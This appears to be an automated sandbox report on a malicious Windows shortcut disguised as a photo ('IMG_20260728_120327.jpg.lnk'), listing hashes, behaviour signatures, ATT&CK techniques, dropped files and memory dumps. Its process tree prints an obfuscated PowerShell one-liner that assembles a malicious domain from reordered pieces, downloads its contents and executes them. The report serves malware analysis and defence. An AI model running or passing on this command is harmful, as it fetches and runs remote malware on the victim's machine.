bcd6e4c77f55ffff75d49eff580aa9ce9f98b8e83bc4bc4dcde53ad19866cc4c

Analysis

max time kernel
150s
max time network
153s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
29/07/2026, 07:33

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
IMG_20260728_120327.jpg.lnk
Size 1KB
Sample260729-jdvj3ayblb
SHA256 bcd6e4c77f55ffff75d49eff580aa9ce9f98b8e83bc4bc4dcde53ad19866cc4c
MD5 07b0c83d9a5bd0bc8d7818b3e0011954
SHA1 0568c101cbb54b551fae6cae4758b2919c713010
SHA512 7f0201c7e1e950187e56d34a295b9d228ee877ec5b230925b2a13968c56fe3d8552ee5ae42abb3aa42cff9ca299004f71287ecc34e0ac43c084e0afa94998145
TLSH
T1A021C1121BF20368DABB8B795875731187327A0ADA558FDF129081945964124F478F3F
MD5 SHA1 SHA512 TLSH

Score

8^/10

execution

Malware Config

Signatures

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
4	5488	powershell.exe
8	5488	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
552	cmd.exe

Suspicious behavior: EnumeratesProcesses 42 IoCs

pid	Process
5488	powershell.exe
5488	powershell.exe
5488	powershell.exe
5488	powershell.exe
5488	powershell.exe
5488	powershell.exe
5488	powershell.exe
5488	powershell.exe
5488	powershell.exe
5488	powershell.exe
5488	powershell.exe
5488	powershell.exe
5488	powershell.exe
5488	powershell.exe
5488	powershell.exe
5488	powershell.exe
5488	powershell.exe
5488	powershell.exe
5488	powershell.exe
5488	powershell.exe
5488	powershell.exe
5488	powershell.exe
5488	powershell.exe
5488	powershell.exe
5488	powershell.exe
5488	powershell.exe
5488	powershell.exe
5488	powershell.exe
5488	powershell.exe
5488	powershell.exe
5488	powershell.exe
5488	powershell.exe
5488	powershell.exe
5488	powershell.exe
5488	powershell.exe
5488	powershell.exe
5488	powershell.exe
5488	powershell.exe
5488	powershell.exe
5488	powershell.exe
5488	powershell.exe
5488	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	5488	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 552 wrote to memory of 5488	552	cmd.exe	90
PID 5488 wrote to memory of 4144	5488	powershell.exe	91
PID 4144 wrote to memory of 932	4144	csc.exe	92

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\IMG_20260728_120327.jpg.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:552
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iwr (@('now','reservphotoinstay','.shop')[1,0,2] -join $VAhwL1wg) -useb | iex
  2⤵
  - Badlisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:5488
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\1ngeqi5l\1ngeqi5l.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4144
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES8505.tmp" "c:\Users\Admin\AppData\Local\Temp\1ngeqi5l\CSCCF4BA6B5A93549C199351D71C4172317.TMP"
      4⤵
      PID:932

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

1ngeqi5l.dll

Path C:\Users\Admin\AppData\Local\Temp\1ngeqi5l\1ngeqi5l.dll
Size 3KB
SHA256 dd3413270f20d0051b8d36eb4f99e2ef215ca068b20a1c1fc9e633ef33be7acd
MD5 08892c7f086576a711d711433e6845e8
SHA1 7d1cf6c02c67e66ae5731ee757115d16acbbba78
SHA512 40322420d56c4284438f62b3ae8b9b8ad8f6fc95ae538a58d950d7c3d0e0c7b21517cdd1b239feaf514a83a09bb410602707a2ed47a2c2faec5577c4406447f9
TLSH
T1D751B61693E8462BE8670731AFF3036777B4FC109FB253AD59C00228AC61B645E32BB1
MD5 SHA1 SHA512 TLSH

Submit Download

RES8505.tmp

Path C:\Users\Admin\AppData\Local\Temp\RES8505.tmp
Size 1KB
SHA256 6886e7eeac514101fab9d1fc68997a47cce2d82351cd9b5e996c05366320d286
MD5 b1a8d0d597e7847e1306638cc5e949d7
SHA1 bdd5dd0fd93953bf859d86809f594da8c671ff4c
SHA512 f997e024d78efda3698d331c8ef52aad3a2e4b12fa338131a6b43830bd61c9e7121895a73d2f7ed648ef62f31931fad82cb49fcf67795e655afc33bd4628e078
TLSH
T153218C0553EC471FF0775B326AF6171FE274FD68EFA2935A844042292C41504EEA1B72
MD5 SHA1 SHA512 TLSH

Submit Download

1ngeqi5l.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\1ngeqi5l\1ngeqi5l.0.cs
Size 203B
SHA256 5473b5550a65171ee7d5977d673c97e41e9ec16fad10ec5ab8aa3b7c798577a6
MD5 171a88ab4fad87acfd2e5032eb0c6113
SHA1 754de0e7656c558d335710fc41cbf196d39c1a19
SHA512 87ef6ac53a00d21f2df4d81ec5956861a4b539b10f5855345aa068c0d9d971f3329477e485471eb40b9eeea59f01fd3c42c4ab2f25e71d825cbf3586be0206b8
TLSH
T13AD023147BF36D34100304130C4661FCB713812B169E26057DF81300CF4700A0275919
MD5 SHA1 SHA512 TLSH

Submit Download

1ngeqi5l.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\1ngeqi5l\1ngeqi5l.cmdline
Size 369B
SHA256 d95a0eca8badc24b515d7efe4a422193fcf002d592242076e9df7fb1db66f987
MD5 e5cb8cd726bd7e2e6073fb4057687a26
SHA1 62452c20c7099bd1b037cfd54fe822941a9d635e
SHA512 82e980fefaa891b0ac382b269cc6ce34f775033e9a6be0289fe52928f70123b649ee1374cca5d3a3510da64188df0bf3b2fccd64c691a0867c252cddcbcb19c1
TLSH
T101E0683B424AC2BE02F920472169CBADE3B21743AA883FC490C04C2DE0970042BE2B61
MD5 SHA1 SHA512 TLSH

Submit Download

CSCCF4BA6B5A93549C199351D71C4172317.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\1ngeqi5l\CSCCF4BA6B5A93549C199351D71C4172317.TMP
Size 652B
SHA256 6df04c80b9472474525f07a295dad5c899690f8c5ea8993dc2d8769846b22f19
MD5 a6a73a073f7106c99974ab152a9f84d6
SHA1 276899f027417d80e46dbd7b89367fe47864fe79
SHA512 e62d29d97307e01292a015bb7cb19136bc0573b96be5583a49308a6c0d6ea79bc9a84ccd4136223bb6c8b7dab92cf2da8e83f7f501aa1c219a7c90a36d5869be
TLSH
T10DF05E0963F8420EF4F34B31BEF65363D1A9BC64DE7293ED5440031928645208962FB6
MD5 SHA1 SHA512 TLSH

Submit Download

memory/5488-10-0x00007FFDCD6E0000-0x00007FFDCE084000-memory.dmp

Download

memory/5488-20-0x00007FFDCD6E0000-0x00007FFDCE084000-memory.dmp

Download

memory/5488-11-0x00007FFDCD6E0000-0x00007FFDCE084000-memory.dmp

Download

memory/5488-12-0x00007FFDCD6E0000-0x00007FFDCE084000-memory.dmp

Download

memory/5488-13-0x00007FFDCD6E0000-0x00007FFDCE084000-memory.dmp

Download

memory/5488-14-0x00007FFDCD6E0000-0x00007FFDCE084000-memory.dmp

Download

memory/5488-15-0x00007FFDCD6E0000-0x00007FFDCE084000-memory.dmp

Download

memory/5488-16-0x00007FFDCD6E0000-0x00007FFDCE084000-memory.dmp

Download

memory/5488-17-0x00007FFDCD6E0000-0x00007FFDCE084000-memory.dmp

Download

memory/5488-18-0x00007FFDCD6E0000-0x00007FFDCE084000-memory.dmp

Download

memory/5488-19-0x00007FFDCD6E0000-0x00007FFDCE084000-memory.dmp

Download

memory/5488-2-0x00007FFDCD86F000-0x00007FFDCD870000-memory.dmp

Download

memory/5488-9-0x00007FFDCD6E0000-0x00007FFDCE084000-memory.dmp

Download

memory/5488-8-0x00007FFDCD6E0000-0x00007FFDCE084000-memory.dmp

Download

memory/5488-33-0x0000025511140000-0x0000025511148000-memory.dmp

Download

memory/5488-7-0x00007FFDCD6E0000-0x00007FFDCE084000-memory.dmp

Download

memory/5488-5-0x00007FFDCD6E0000-0x00007FFDCE084000-memory.dmp

Download

memory/5488-6-0x000002552AD90000-0x000002552ADB2000-memory.dmp

Download

memory/5488-34-0x00007FFDCD6E0000-0x00007FFDCE084000-memory.dmp

Download

memory/5488-35-0x00007FFDCD6E0000-0x00007FFDCE084000-memory.dmp

Download

memory/5488-36-0x00007FFDCD6E0000-0x00007FFDCE084000-memory.dmp

Download

memory/5488-37-0x00007FFDCD6E0000-0x00007FFDCE084000-memory.dmp

Download